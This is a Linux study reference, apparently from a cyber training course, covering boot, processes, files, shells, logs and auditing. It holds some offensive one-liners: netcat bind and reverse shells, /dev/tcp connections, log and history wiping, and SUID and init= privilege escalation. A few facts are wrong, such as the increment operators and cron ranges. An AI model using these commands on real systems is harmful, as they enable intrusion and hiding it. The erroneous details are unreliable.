PROCESSES: cmd: ps, top, kill, cat /proc/[pid]/{environ,exe}, netstat, lsof; finite assignable PID#; SysD symbolic link to /lib/systemd/system/{name}.service
User Process: process owned by user; have virtual memory allocation; == process (name NOT wrapped in []); e.g., ps -aux
Kernel Process: process owned by kernel & provide kernel-level privesc if compromised; == [process] (name wrapped in []); e.g., [kthreadd]
Startup Processes: /sbin/init, kthreadd, /etc/fstab, /proc/filesystems
init: **PID=1, PPID=0**; 1st process started from /sbin/init; SystemD symbolic link to /lib/systemd/system/{name}.service; parent/grandparent process for all processes; escape startup & launch root shell via init= then CTRL+Z @ startup
kthreadd: PID=2, PPID=0; thread daemon (like CSRSS) used to directly manage hardware & directly handled by kernel w/o parent; name enclosed w/ []
Orphan: process /sbin/init adopts until shutdown whose parent process died
daemon: (service) orphaned process waits in bg for event; stdin, stdout, stderr point to /dev/null; svc controlled w/ systmctl (SystemD) or service [svcname] [action] (SysVinit); restart svc if svcdaemon.config changed; /etc/init.d
defunct/Zombie Process: died but not cleared from ps; parent does not realize it died; z in ps w/ <defunct>; consume no resources but consume PID table

PROCESS COMMANDS

pwdx: gets current working directory of process
jobs: show all current jobs & their JID per term.
ps: see processes; **-ef**: forest, standard syntax; **- aux**: whole system; BSD syntax
top: running/live processes, memory use, changes, priority levels
at: 1-shot job; logic bomb use; no log; e.g., at now + 5 min; **atq**: view at queue;
cron: scheduled tasks; **crontab -e**: menu editor; /var/spool/cron/crontabs/[usr]
exec: spawn new process as its own; find /etc -name *pass* -exec **ls -l {} \;** 2>1
syntax: exec [**cmd**] [**option flag**] {values} **\;** ends function
fork: spawn new process under its parent process
kill: end process/job; kill %1 (JID1), kill 1 (PID1)
free: another way to show memory use

PROCESS VALIDITY: inspect /proc dir using [commands] ps, pwdx, lsof, netstat, or ss
Name: unusual names; i.e., [notkernelthread]
Directories: apps/services running from unusual dir; ls -l /proc/{pid}/{cwd,exe}, pwdx

PROCESS STATES:
D: uninterruptible, IO
z: defunct/zombie, not reaped but terminated
R: running on run queue
S: interruptible, sleep; waiting for an event
T: stopped via job control signal or it's tracked
W: paging; invalid >= k2.6
X: dead; should never see
< high priority
N: low priority
L: pg locked in memory; real-time & custom IO
s: session leader
l: multi-threaded w/ CLONE_THREAD like NPTL
+ in fg process group

JOB CONTROL: jobs cmd manages & views jobs; run cmd->stop cmd via CTRL+Z (not terminated) ->fg %{JID} runs cmd again or bg via bg %{JID}
%JID: job # for process running; e.g., %1
CRON: use /var/spool/cron/crontabs & /etc/{cron.d, logrotate, crontab} files; [min][hr][day][mo][wkdy];
Minute:0-59->**Hour**:1-12->**Day**:1-31->**Month of Year**:1-12->**Day of Week**: 0-7 (1=Monday);
(Optional) **Year**: 1900-1300; **Format**: ***** [username] [cmd-to-exec];

SERVICE ENUMERATION COMMANDS: actions = [start|status|stop]
service: control SysV services; **syntax**: service [svcname] [action]
systemctl: control systemd; **syntax**: systemctl [action] [svcname]

NETWORK SUPER SERVERS: listen for network connections for other apps (telnet, T|FTP, rlogin, finger, POP, IMAP) & **hands connection control to intended server**, reduce memory load; inetd & xinetd
inetd: TCP wrappers handle security
xinetd: turn **script into service**; built-in security; listen for & accept or deny specific IP, set server access times, send banners to client if prohibited; **attackers use as backdoor**

NETWORK DAEMON SERVICES:
Samba: smbd; SMB Server, share files w/ Windows(SMB), Linux(CIFS); difficult setup but open source
DNS Server: (bind) named
Network File System Server: nfsd
SNMP Daemon: snmpd
Mail Server: postfix, sendmail
Name Service Cache: dnsmasq, nscd
Secure Shell: sshd
Web Server: nginx, httpd (Apache)
Network Time Protocol: ntpd

IPC Socket: endpoint data exchange between same host process
Network Socket: internal endpoint for Tx|Rx data on 1 node; **IP:Port**
raw socket: sniff & capture packets, bypass protocol stack; no layer checks; remove fields; requires root access; e.g., nmap -sS
non-raw socket: normal packet, auth. user use non-raw >1024; root access required for services in Network Daemon Services block above; /dev/tcp|udp
Server: listens for connection **Client**: requests the connection

LINUX FILE SYSTEM

/ top of file system, **root** directory
~/ current user's home directory
* **~/.bashrc**: only applies **BASH non-login** shells; runs in bg; used for persistence for aliases; **source ~/.bashrc** changes shell w/o closing it; sets up shell environ.
* **~/.profile**: only **login shells**, rarely runs; SSH; sets up shell environment.
* **~/.bash_profile: determines $PATH** variables.

/bin essential user cmd binaries
/boot static files of boot loader
* **/boot/efi**: EFI boot options
* **/boot/menu.lst**: grub menu options @ boot

/dev files that point @ hardware; device files
* **/dev/sda**: contains 1st sector of MBR (bootloader)
* **/dev/{tcp,udp}**: local/remote TCP|UDP port connection; exec weaponizes TCP|UDP; exec {file-descriptor}<>/dev/{protocol}/{host}/{port}

/etc system config. settings; contain all service config. files
* **/etc/audit/{auditd.rules, audit.conf}**: auditd rules & config files
* **/etc/bash.bashrc**: interactive BASH; sets up shell environment.
* **/etc/cron.d**: contains what happens cron.[daily|hourly|weekly|monthly]
* **/etc/crontab**: other crontab folder
* **/etc/fstab**: config. file manages where partition mounted @ boot; defines FS
* **/etc/group**: file w/ all system groups, their users, & GIDs
* **/etc/hosts**: IP & domain name DB; show static server config.; control traffic
* **/etc/init.d/rc**: initial init.d startup script
* **/etc/init.d/[servicename]**; can start svc; e.g., **/etc/init.d/ssh start**
* **/etc/inittab**: file deciding initial system runlevel via its initdefault line
* **/etc/logrotate.conf**: logrotate config file; rotates via /cron.[freq]/ sh scripts
* **/etc/nsswitch.conf**: decides DNS lookup order; checks ./hosts then ./resolv.conf
* **/etc/passwd**: user acct file; syntax: [user]:[pwd]:[uid]:[gid]:[cmt]:[home]:[sh]
* **/etc/profile**: only to BASH & Bourne non-login shells; sets $PATH
* **/etc/rc#.d/**: dir w/ SysVinit K[ill] & S[tart] scripts for runlevel; #==runlevel
* **/etc/resolv.conf**: shows & points to chosen DNS server; attackers poison
* **/etc/{rsyslog, syslog}.conf**: settings file to determine how to handle log msgs
* **/etc/samba/smb.conf**: Samba config file
* **/etc/services**: Linux file; port & service name mapping to allow connections
* **/etc/shells**: file containing shells available to user
* **/etc/systemd/system/default.targets**: contain SystemD targets (runlevels)
* **/etc/systemd/system/**: links to targets, like /rc on sysvinit
* **/etc/systemd/journald.conf**: config file; ForwardToSyslog controls logs

/home user home directories
/lib shared libraries & kernel modules (.DLL, kernel drivers); good for attackers
* **/lib/modules**: binaries; can be used for persistence

/media removable media mount point; CDROM, USB, etc.
/mnt mount point for temporary file systems; points to drives, systems, etc.
/opt add-on 3rd party app software packages
/root root user's home directory
/sbin system-level & protected binaries
* **/sbin/init**: location of Init; 1st process that spawns

/srv data for system services file
/tmp world-writeable, very volatile (lost after reboot); useful for attackers
/usr multi-user utilities & apps; contains things all users may need
* **/usr/lib/system**: store Systemd runlevels; ==/etc/init.d
* **/usr/lib/systemd/system**: targets & units; /etc/init.d/

/var variable files; contains /cache/, /log/, /spool/ (printers)
* **/var/spool/cron/crontabs**: config file; shows scheduled jobs, etc.
* **/var/log**: contain most Linux log files;
* **/var/log/journal**: config. persist logs; journal.conf Storage setting controls
* **/var/log/auth.log**: ASCII; shows both [un]successful login session info;
* **/var/log/btmp**: binary; tracks failed logon attempts; cmd: last, lastb
* **/var/run/utmp**: binary; tracks who currently using PC; !100%; cmd: last, who
* **/var/log/wtmp**: binary; history of users who logged in & out; reboot, shutdown, tty used by user, local or remote logon; cmd: last, last -x
* **/var/log/lastlog**: db file; last login for each account; cmd: lastlog
* **/var/log/dmesg**: ASCII; read kernel logs
* **/var/log/messages**: ASCII; system-related log messages
* **/var/log/[appname]**: 3rd party application logs; can be ASCII or binary

/tmp data expected to change: log files
/proc info on every running process {/exe, /cmdline, /comm); virtual; forensics
* **/proc/filesystems**: supported filesystems; investigate threads, handles, cmd
* **/proc/[pid]/cwd**: current working directory of process for specified [pid]
* **/proc/[pid]/exe**: path & binary from where process [pid] invoked
* **/proc/kmsg**: kernel ring buffer
* **/proc/cpuinfo**: hosts info on CPU; get CPU info via cat /proc/cpuinfo or lscpu cmd
* **/proc/{meminfo|interrupts|dma|devices}**: files w/ info on memory; lscpi cmd

CCTC: Linux
Pocket Reference Guide

"BIG MIKE GOT KILLED IN RENO"

FIRMWARE STARTUP: POST->[BIOS->MBR|UEFI]->Bootloader[GRUB|LILO]
POST: Power-On Self-Test
BIOS: reads 1st sector MBR; search, load, & execute boot loader
MBR: loads bootloader LILO|GRUB in mem.; **4 max primary partition @2TB**/p; in /dev/hda|**/dev/sda**; fdisk; 512bytes=bootstrap: 0-445(446) bytes; partition tables: 446-509(64)bytes; **boot record signature**: 510-511(2)bytes, 55AA
Extended Partitions: move addressing for additional partitions into extended partition rather than MBR table to **overcome 4 primary partition MBR limit**
UEFI: vfat, built-in boot manager (efibootmgr); user-chosen bootloader; Secure Boot; in /boot/efi; EFI System Partition (ESP) disk partition store bootloaders
GPT: (GUID Partition Table) LVM; **max. 128 partition**; size >2TB; **gdisk** manages
Bootloader: initialize hardware to **load kernel & initial RAM disk to memory**
GRUB: (**GR**and **U**nified **B**ootloader) **menu-driven** boot manager; controlled by **/grub.conf, /grub.cfg, /menu.lst** config. files; dual-boot; file system knowledge
LILO: Legacy bootloader; doesn't work w/ UEFI; **no file system knowledge**

KERNEL STARTUP: ->Kernel->InitRD->[Sys V init|SystemD]
(**Stage 0**): establishes memory management, detect CPU, page tables -> **mount initrd & unpacks initramfs** from it-> executes /sbin/init -> mounts initramfs as root file system, **load drivers & mount actual root** file system, **runs /sbin/init**
InitRD: (Initial RAM Disk) **temporary root file system kernel** uses until it boots & real file system mounted to boot; stuff system needs to boot: **drivers to access HDD, hardware**, etc.; contains initramfs

INIT: start of **post kernel boot**; System V init, SystemD, Upstart
/sbin/init: ALWAYS 1st **process** (PID1); **parent process of all user space** apps; configures environment; 2 main types of initialization: System V init & SystemD
Upstart: created for **Ubuntu** desktops; event-driven & start jobs on event; config. files kept in /etc/init; continuous system monitoring after startup
SystemD: managed w/ **systemctl**; logging (**journald**) & device management (**udevd**); multiple system apps available to handle; **use targets & units** to make dependency tree calling other scripts; **/etc/systemd/default.target** symbolic link to desired **initial target in /lib/systemd/systemd**;
target: **==runlevel**; in /etc/systemd/default.target link to /lib/systemd/system
units: **==service** or daemon;
Benefits: **faster/simple boot**, control groups (!PIDs) track process, snapshots, less memory, syslogd, protected services, more secure, harder to put malware
System V init: (SysVinit) in **/etc/init.d** based on runlevels (decides what starts; boots into **/etc/inittab** to see runlevel); use service [svcname] [action]
/etc/inittab: file deciding initial runlevel for system; **initdefault** option/label decides runlevel; apps run from applicable runlevels;
bootscripts: **/etc/init.d/rc#; run Start & Kill scripts** from applicable \rc; order of executing scripts is first letter (K [kill] then S [start]) then # then A-Z

TARGET: runlevel for SystemD; **/etc/lib/systemd/system**
RUNLEVEL: only on SysVinit; executes from /etc/rc.d/rc#.d
0:**halt**; do not set on initdefault
1:**Single-user** mode
2:**Multiuser** w/o networking
3:Full multiuser **w/ networking**
4:**Unused**/Experimental
5:X11 (**GUI**)
6:**reboot**; do not set initidefault

initdefault label: **default runlevels**; **syntax**: id:rstate:action:process; 1:1:wait:/sbin/rc2
sysinit:execute @ boot
respawn:restart when terminated
once:execute once
wait:init waits for termination

BOOT COMMANDS

fdisk: **manage MBR** partitions
gdisk: **manage GPT** partitions
efibootmgr: **UEFI Linux boot** command
initctl: **Ubuntu boot** command for Upstart
telinit: command used to **change runlevel**; **syntax**: telinit [n], e.g., telinit 6
df: **show partitions**/file system HDD use; **-h**: shows human-readable partitions
mount: **mount or show** a mounted filesystem; **t**: type device
umount: **unmount** file systems
apt: Debian tool to **search & install** apps/packages; apt-cache search

	SUID	SGID	sticky	USER			GROUP			OTHER		
	s	s	t	r	w	x	r	w	x	r	w	x
				4	2	1	4	2	1	4	2	1

USER: rwxrwxrwx; what **user can do**
SUID: (rwsrr-xr-x); S=unset, s=set; special bit replaces x bit so app **runs under owner's security context**; e.g., apps owned by root run as root; used to privesc: run vi as root > spawn bash shell w/ vi via !bash
$EUID: process' effective UID; r/t SUID If root then it'll be 0

GROUP: rwxrwxrwx; **group perms.**
SGID: (rwxrwsxr-x) S=unset; s=set; special bit replaces x bit so **app runs in owner group's security context**

OTHER/WORLD: rwxrwxrwx; what anyone can do w/ file

sticky: (rwxr-xr-t) **only file owner** modifies dir files; **locks** to owner

USER/GROUP COMMANDS:
users: enum **logged on** users
whoami: enum **user logged** in as
w: enum **users logged on**; references /var/log/wtmp activity; **uptime**;
who: enumerate **logged on users & how**; references /var/log/utmp
getent: enumerate entries from Name Service Switch libraries: **users, groups, passwords, services & their ports**, etc. **syntax**: getent [group|passwd|services]
useradd: **creates user**; **syntax**: useradd -m -g [#] -u [#] -c [comment] uname
adduser: **creates user**; **syntax**: adduser --uid [#] --gid [#] --gecos [cmt] uname
groupadd: **create group**; **syntax**: groupadd [group_name] -g [gid]
addgroup: **create group**; **syntax**: addgroup [group_name] --gid [gid]

HASHING: for integrity & pwd; !100% due to collisions; cannot predict changes
PARTITION: **logical segmentation of physical storage** in sections; MBR & GPT
Swap Space: Linux **memory extension**; can exist in a file
Volume Groups: **expanded w/o repartitioning** disk; Linux installation requires 1 partition w/ / (root) directory & may have swap space (may be in file)
LVM: (Logical Vol. Mgmt.) physical volumes create storage pools (vol. groups)
FILE OWNERSHIP & PERMISSIONS: **ownership**: chmod, ls, chgrp, & getent;
permissions: chattr, lsattr [user][group][other/world], ls
Immutable Files: cannot be changed even by root; good for defense; see chattr
TIMESTAMPS: seen via the stat cmd;
atime: file **last accessed** time; **crtime**: time file **created**
mtime: last time **content modified**; **ctime**: file **metadata/inode changes**
FILE PROPERTIES: shown via ls -l; **-** regular file; **d** directory; **p** named pipe; **s** socket; **c** char file; **l** link; **b** block file

FILE SYSTEM COMMANDS

chgrp: change **file's group**
chown: change **owner**; **syntax**: chown owner:group file
chmod: **change/edit permissions**; o=other, u=user, g=group; - removes, + adds; rwx for bit; e.g., chmod 777 somefile; chmod o-x somefile;
chattr: **change** extended **permissions/attributes**; man chattr shows attributes
lsattr: **list/view** extended **permissions/attributes**; **-i**: immutable; **-a**: append only; **-A**: file access time does not update when accessed; should never be set
setfacl: **sets ACL** on file; **syntax**: setfacl -m g:[group_name]:[perms] [file]
touch: **create file**; **-t**: **mod. timestamp** except ctime; e.g., touch -t [time] [file]
rm: **removes** file; **-r**: recursively removes files; **-f**: forces removal
mv: **moves file or changes** file name
stat: **view file timestamps**: mac, inode, & **metadata** (timestamp)
md5sum: gets **128-bit MD5 hash** of file/text/etc.; **syntax**: md5sum file
sha1sum: gets **160-bit SHA1 hash** of file/text/etc.; **syntax**: sha1sum file
locate: **search** file system; like find; shows **anything with specified word** inside
find: **search** file system, return **file location**
ls: **list directory contents** or file **permissions**; shows last accessed time **-lisa;** [property][perms][link#][user][group][size][date][file]
cat: **concatenates files & prints** on STDOUT or prints file output to terminal
tail: show **last n values** of file (default:10); **-n**: specify # lines
head: show **first n values** of file (default:10); **-n**: specify # lines
file: shows file **type**; **-exec**: **execute** cmd on anything returned

SYSTEM & HELP COMMANDS

env: **show global** variables; $PATH
set: **show local** scope variables
hash: shows **hash table/ # times bin ran**; tracks each binary's hash; **-r**: reset
which: checks **PATH order, displays 1st cmd; returns dir** if found; **-a**: all cmd
whereis: view file path, **find all instances**; more file info—**shows location**
type: shows what executes/1st instance of **cmd via bash order eval**; **reveals alias**; **syntax**: type [cmdname]; **-a**: all instances of cmd in **bash eval order**
[cmd] --help: type command name followed by --help to see help file like man
info: help command; like man but more detailed
apropos: show similar commands; finds commands containing a specific word
man: used anytime you want to obtain usage info or help menu

SHELL: interface between kernel & user; interpret cmds, not part of kernel; decides if shell (non-) interactive; $SHELL or $0 shows current shell; in /bin
/bin/sh: (Bourne Shell) 1st; limited functionality; dir not shown @ prompt;
/bin/bash: (Bourne Again) GNU project POSIX compliant; most common; tab complete, parameter expansion, user history in .bash_history; dir in prompt
/bin/csh: BSD shell like C language
/bin/dash: (Debian Almquist shell); modern, POSIX-compliant /bin/sh variant
/bin/ksh: (Korn Shell) /sh backwards compatibility + /csh features
/bin/tcsh: C w/ programmable CLI completion & edit
/bin/zsh: extended Bourne shell w/ /bash, /ksh, /tsch features
Interactive: user interacts w/ shell; reads user cmds via tty (sets $PS1 var)
Non-Interactive: no user input; automated cronjobs or scripts; run in bg
Login: shell w/ prompt for creds in text console (ssh, su, etc.); not from GUI
Login--1st spawned /bin/login process from /etc/passwd; '-' char in ps;
Non-Login: shell w/o prompt for creds; opened locally, another shell invokes
Source: ~/.profile, ~/.bash_profile, /etc/profile, ~/.bashrc, /etc/bash.bashrc

BASH Order of Evaluation:
(1) Redirection
(2) Aliases, Shell Functions, Cmd Substitution, Param. Expansion, Arithmetic Expansion, Quote Removal
(3) Built-in Cmds; cmd: type
(4) HASH table; running # of most used cmds; cmds: type|hash
(5) $PATH variable; cmd: which

Feature	sh	csh	bash	tsch
jobs command		X	X	X
alias		X	X	X
cmd history		X	X	X
move w/ arrow			X	X
tab complete		X	X	X
List variables		X		X
Auto-complete				X
Follow sym links			X	
Custom Prompt			X	X
Large args list	X		X	X
Free			X	X
Script Syntax	sh	csh	sh	csh

REDIRECTION & PIPING:
> overwrite file; e.g., cat 1 > file
>> append to EOF; e.g., cat 1>>file
Unnamed Pipe: (|) 1-way; opened @ creation; send cmd's output as input
Named Pipe: 2-way temp storage, does not go away until removed but data gone once referenced (POPPED off each time; FIFO (First In, First Out); made by mkfifo & mknod p cmds; cmd ls shows as p if d (directory) bit set
ALIASES: shorten cmds; attackers use to hide from ps or ls; e.g., alias ll='ls -l'
CMD SUBSTITUTION: var runs cmd & stores result rather than calling cmd; (1) cmd=`cmd` or (2) $(cmd); e.g., now=$(date)

STANDARD STREAMS: file descriptors allowing redirection
STDIN: file descriptor 0;
STDOUT: file descriptor 1;
STDERR: file descriptor 2; cat /etc/shadow 2>/dev/null|2>&1

BASH FEATURES:
$ normal user prompt (also on sh)
# root prompt (also on sh)
#! /bin/bash: tells PC to use BASH shell
--posix: makes BASH POSIX compliant
POSITIONAL ARGS: $0: cmd & $n: # of args passed; e.g., cat file; cat;50; file;51
PARAMETER EXPANSION: bash interpreter processes; sequence of chars or #; e.g., echo {a..e} print a-to-e on same line, seq 1 4 prints 1-to-4 on new lines
TAB COMPLETE: Tab key completes partial cmd or current dir file name
*: wildcard, expands wildcard before handing it off to the application
$HISTFILE: ~/.bash_history; cmds ran per user; always set else IoC or blue team disabled; only writes cmds when shell closed; overwrite w/ cat /dev/null > .bash_history or kill shell (ps -9 shPID)
$PATH: path variable used to find binary in the path; Path Hijacking; root user should never have /games in $PATH else it's IoC or standard user
$HISTFILESIZE: # cmds kept in $HISTFILE; always set >0 else IoC
$HISTSIZE: # cmds in shell history

LOGICAL/CONDITIONAL OPERATIONS:
! not operator; says NOT this
AND: && used outside (-a used in) [] to run next cmd if prev. succeeds
OR: || run next cmd if previous failed; return 0==true else !0==false
IF..THEN..ELSE..FI: begins, starts, ends if; checks if condition true & if so does 1 thing else it does another; test condition & run cmds based on test result. IF begins & FI ends if condition block; [] brackets used for built-in switches; e.g., if [-e file.name] then echo "file.name" exists; else "file.name doesn't exist"; fi
FOR LOOPS: 2 types: foreach & for w/ counter; e.g., for x in $(seq 0 $((${#fruit[@]}-1))); do echo "Fruit: ${fruit[$x]} color is: ${color[$x]}"; done | column -t; **syntax**: |foreach| FOR var IN {range} DO cmd; DONE
WHILE LOOPS: while condition true do this; needs variable to add or subtract & condition that can be true else infinite loop/DoS; **syntax**: WHILE [condition] DO cmd; DONE; e.g., n=1; while [$n -le 3] do echo "$n"; n=$(($n+1)); done

A	B	AND	OR	XOR	!A
T	T	1	1	0	0
T	F	0	1	1	0
F	T	0	1	1	1
F	F	0	0	0	1

MATH OPERATIONS: + - * / %, wrap $((math)); e.g., echo $((1+2))
var++/var--: increments/decrements BEFORE operation; allows you to see & use the before & after values.
++var/--var: increments/decrements AFTER operation; you only see or use the AFTER value NOT before; causes off-by-one errors
<<: left shift; multiply by 2; e.g., 32<<2 ==128, *2 twice
>>: right shift; divide by 2; e.g., 128>>3==32, /2 three times

STRING OPERATIONS:
EQUALITY TEST: checks if both values equal; e.g., ["abc"=="abc"]
LENGTH TEST: check length of string; e.g., echo -n $a | wc -c;
STRING MANIPULATION: reference string's indices; e.g., var=moscow; echo${var:2} (starts @ index 2, prints to end), echo ${var:1:2} (starts @ index 1, stops @ 2), echo ${var: -3:1} (reverses index 3, up 1)

BASH FUNCTIONS: group of cmds;
Equivalent Expressions: 3 forms
(1) addone(){ echo $(($1+1));}
(2) addone(){ echo $[$1+1];}
(3) addone(){ echo $(expr $1+3);}

CLI Operators & CMDs:
bg: (background) put job in bg BEFORE or AFTER cmd ran
&: start job in bg when starting process; **syntax**: [cmd] &
fg: (foreground) bring job/process back into fg; takes away terminal
^Z: (CTRL+Z) stops process if currently; process can restart later
^C: (CTRL+C) terminates process if currently running; process ends
; diff. cmd 1 line; move to next
$? exit status used to debug; shows if cmd fails or completes; 0=no error, >0==error; **syntax**: run cmd then $?

```
.       # any 1 character
*       # 0+ characters; wildcard
?       # 0 or 1 preceding character
+       # 1+ of preceding character
^       # beginning of line; ^John
$       # end of line; "$"
[c-c]   # range; 1 character; n-to-n
{n,n}   #range; any result n-to-n
\       # escape special chars; \. == .
()      # capture groups
[^char] # does NOT match value in []
\d      # digit; \D is NOT digit
\w      # word chars; \W is NOT words
\s      # whitespace; \S is NOT spaces
\b      # word boundary
\<>     # start \< or end \> of word
```

SCRIPTING COMMANDS:
sort: sorts ascending/descending
uniq: shows unique values; first requires sort to work
cut: shows specific fields of a file; **-d**: specify delimiter not good for spaces; **-f**: field, comma adds more fields **syntax**: cmd | cut -d (delimiter) -f n(,n)
sed: (string editor) can replace 1st (or all w/ g) instance in file w/ any delimiter; flexible search; e.g., sed 's/paris/london/g' replaces all "paris" words w/ london
awk: separate fields (even on whitespaces) & get values; allows labels; **-F**: field separate like -d in cut; e.g., awk -F":"'{print "username:" $1}' /etc/passwd
grep: finds patterns in files; **-n**: shows matching line #; **-o**: find only selected expr; **-c**: count matching lines; **-E**: extended regex; **-v**: non-matching patterns
export: export a local variable to make it a global variable
tr: (translate) string manipulate to change something to something else; often used for ROT13; **syntax**: tr":;" "^ "; e.g., (ROT13) tr 'A-Za-z' 'N-ZA-Mn-za-m'
alias: shows all or make alias; **syntax**: alias [aliasname]='[cmd]' (alias ll='ls -l')
unalias: removes alias; **syntax**: unalias [aliasname]; e.g., unalias ll
mkfifo: makes named pipe; **syntax**: mkfifo [pipe]; cmd > [pipe]; cat < [pipe]
mknod p: makes named pipe; **syntax**: mknod [pipe] p; cat < [pipe]
vi: ASCII file text editor; **%!xxd -r > file** writes to file; **:q!** quit, **:w!** write, **i** insert, **esc**: stop editing; **-** needed when file piped from cmd; e.g., xxd binary.bin | vi –

Weaponize TCP|UDP: exec cmd & file descriptor connect to listening port; exec 7<>/dev/tcp/[host-ip]/[port] && cat <&7
wget: exec 3<>/dev/tcp/[url]/80; echo -e "GET / HTTP/1.1\r\n\r\n">&& cat <&3;
Banner Grabbing: nmap -sV -p T:80 --script=banner url;
RegEx IP:
(((([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))
RegEx Email: "[a-zA-Z0-9._%-]+@([a-zA-Z0-9._-]+\.?){2,}"
RegEx Date: '(\d{1,2}\/\d{1,2}\/\d{4})'
RegEx Phone: "\(?\<[0-9]{3}(-)]?[0-9]{3}[-]?[0-9]{4}\>"

HOST SCANNING & ENUMERATION: passive: arp, Wireshark; active: nmap, nc
arp: get cache info on network host IP & MAC; passive host enumeration
nmap: vulnerability/port scanner, fingerprint OS, banner grabber, raw sockets set unconventional flags; **--script=**: use custom|Nmap Scripting Engine scripts
netcat: (nc) port scanner; transfer files; functions as client or server; **-l**: listen; if in this mode then it is functioning as server **-p**: port; **-z**: scan; **-v**: verbose
telnet: remote console via port 23 w/ data sent cleartext; cannot natively send files but sends via uuencode (then uudecode) or Base64 encoding of file binary

NETWORKING COMMANDS:
netstat: show socket info: connections & scan ports **-a**: all ports; **-n**: don't resolve port #; **-l**: listening ports only; **-p**: show program & PID; **-t**: TCP; **-u**: UDP
watch: analyze & enumerate active connections; e.g., watch -d -n 1 lsof -i
lsof: user connection/ports; get banner; need root; RPni :[port#] or -Pnp [pid]
ss: shows socket information; like netstat; **-nap**: -lntp:
ip: show IP configurations; **-a**: show all
ifconfig: show IP configurations
route: show routing table
host: shows domain's host info; e.g., host google.com
dig: query name server (dig @[ip]); attackers use to perform zone transfer & copy DNS info to enumerate (dig axfr @nsztm1.digi.ninja zonetransfer.me)
nslookup: look up DNS info; specify server & get info on URL; **non-interactive**: nslookup [url]; e.g., [google.com]; **interactive**: nslookup, enter button

HOST RESOLUTION:
1) /etc/nsswitch.conf
2) /etc/hosts
3) /etc/resolv.conf

LOGS: most logs stored in /var/log directory; files include auth.log, boot.log, btmp, utmp, wtmp, lastglog, dmesg, messages, [appname] (3rd party apps)
Log Formats: binary uses last cmd & ASCII uses cat cmd
WIPING: manual or automate (grep); deleting log covers tracks but !stealthy; e.g., truncate -s 0|| cat /dev/null)>/var/log/messages>/var/log/auth.log
ANALYSIS: start w/ known good baseline, look for unusual user activity: when & where (if unusual) logged in, new users, accessing forbidden stuff, processes w/ unusual net connections, differences in local & remote in-sync log files, timestamps. Check /var/log/messages for Failed, Denied, Error, SegFault (Buffer Overflow); login logs, activity logs, app-specific logs, remote log settings
EVENTS LOGGED: logins, authorization, authentication, errors, file mods, system msgs (stuff @ boot), kernel ring (buffer overflow, kernel panic)

SEVERITY CODES: priority of msg
0: emerg, panic: system unusable
1: alert: immediate action
2: crit: critical
3: err, error: error
4: warn, warning: warning
5: notice: normal but significant
6: info: info msg
7: Debug: debug-level msg
Emergencies Are Critical Errors Which Nobody Is Debugging

FACILITY CODES: code identifying app type generating log; matches items of interest based on filter
0: kernel messages
1: user-level messages
2: mail system
3: system daemons
4: sec/authz messages
5: internal syslogd messages
6: line printer subsystem

[R]SYSLOG: syslog.conf or rsyslog.conf in /etc directory; send to syslog server via p:514; reads msgs off /dev/log domain socket; use filters & actions
RULES: filter & action on 1 line; show what is logged; Facility/Priority-based filters for msgs; start @ lowest severity
Format: [facility].[severity] [/log]: e.g., kern,mail.=info (all kern & mail info) or *.!info (all facilities & severities but .info)
* # all
, # multiple
! # all except
; # multiple on 1 line
.none # does not redirect for facility
Filter: match items of interest in a msg
Action: performed if filter matches
Log Locations: /dev/tty# or @@[ip] (e.g., @@10.10.10.4) mean logs sent to console or remote server; either bad for ops (cannot clear tracks or alerts user)

AUDITING COMMANDS

aureport: creates reports; **-f**: files
ausearch: search for events; **-k**: keyword
auditctl: userspace auditing system operating @ kernel level; may req. kernel reinstall; SysD integration; config & rules files in /etc/audit/; **w**:write, **r**:read,
journald: view SystemD logs; structured logging; syslog facilities optional; PID, Process Name, Service ID; /etc/systemd/ persist logs via Storage=persistent
journalctl: fine-grain journald querying system logs msgs; **-u**: unit|service entry; **-b**: boot msgs; **-p**: by priority; **-r**: reverse, new logs 1st. CONS: (default) no persistent directory, must create else kept in volatile memory; not immutable
x:execute, **a**:attribute; **-l**: list rules, **-w**: watch; **-W**: remove rule; **-p**: watch what
logrotate: cronjobs rotate logs to manage local log files; /etc/logrotate.conf is main config. file; mylog.log.1 means file rotated 1 time; no # means current log
xxd: used to edit binary files; **-r**: reverts back to binary data
last: show binary; **-x**: PC shutdown entries & run level mods; **-f**: binary file; e.g., last -f /var/log/btmp (bad login), last -f /var/log/utmp (logged-in users)
lastlog: last time acct logged into system; console login only
dmesg: read from kernel ring buffer, non-persisted; clears kernel ring log (IoC)
Tripwire: auditing tool; scans file system gets hashes of files, compares hashes to known-good db; integrity checker, change management, policy compliance.
AIDE: CLI-only Tripwire replacement using regex; scheduled via cron

$PATH Hijacking: put binary in earlier & unintended path so $PATH variable finds malicious/modified binary before legit binary;
Fork Bomb: (Zombie Attack) create & force many processes to die to use up all finite PID # resources in /proc/sys/kernel/pid_max to DoS & crash system
Shell code: code used as payload to exploit software, often in Buffer Overflow
NOP Sled: no operation, 0x90; 909090 in log indicates Buffer Overflow; use to guess where stack pointer is & hope memory address lets shell code run
Copy Running Binary Process: cp /proc/[pid]/exe /bin/[app]
Find Root SUID Bit Binaries: find / -user root -perm /4000 -print 2>/dev/null
Bind Shell: attacker sends outbound request to listening target; usually used on servers; **target**: nc -nvlp [port] -e /bin/bash **attacker**: nc [ip] [port]
Reverse Shell: req. target initiate outbound connection to listening attacker; used on clients, also used on servers to bypass firewalls or access a client using private IP; **attacker**: nc -nvlp [port] -e /bin/bash **target**: nc [ip] [port]
Rainbow Tables: collection of hashes compared against hash; req. specific hashing algorithm to be known; salting hash defeats rainbow tables
Birthday Attack: attacker guesses hash collision; due to 2 pwds==same hash
Pass the Hash: get hashed pwd & use hashed pwd over cleartext @ login
Brute Force: attempt passwords until correct password guessed
Custom Malware: avoid signature detection; Shikata-ga-nai passes malware through encoders to obfuscate; Hyperion hides from AV & Malware Scanners
FILE TRANSFERS: listener must run 1st; files sent via nc, ssh, scp, ftp, tftp telnet
nc -nvlp [port] < file; act as server, Tx file to whomever connects
nc [ip] [port] < file; act as client; send data from file to listener/server
nc -nvlp [port] > file; act as server, save output from connection to file
nc [ip] [port] > file; act as client; save output from connection to file
telnet: uuencode, copy & paste into echo cmd piped to executable, uudecode

Hydra: specify pwd file to brute force 1|list of targets &/or various services
John: crack pwd, test pwd policy; need /etc/shadow file unshadowed (via unshadow cmd) then john unshadowed .txt file; john.pot stores cracked pwd
Hashcat: best tool to crack passwords; requires high-end GPU
squid: http proxy used for web requests
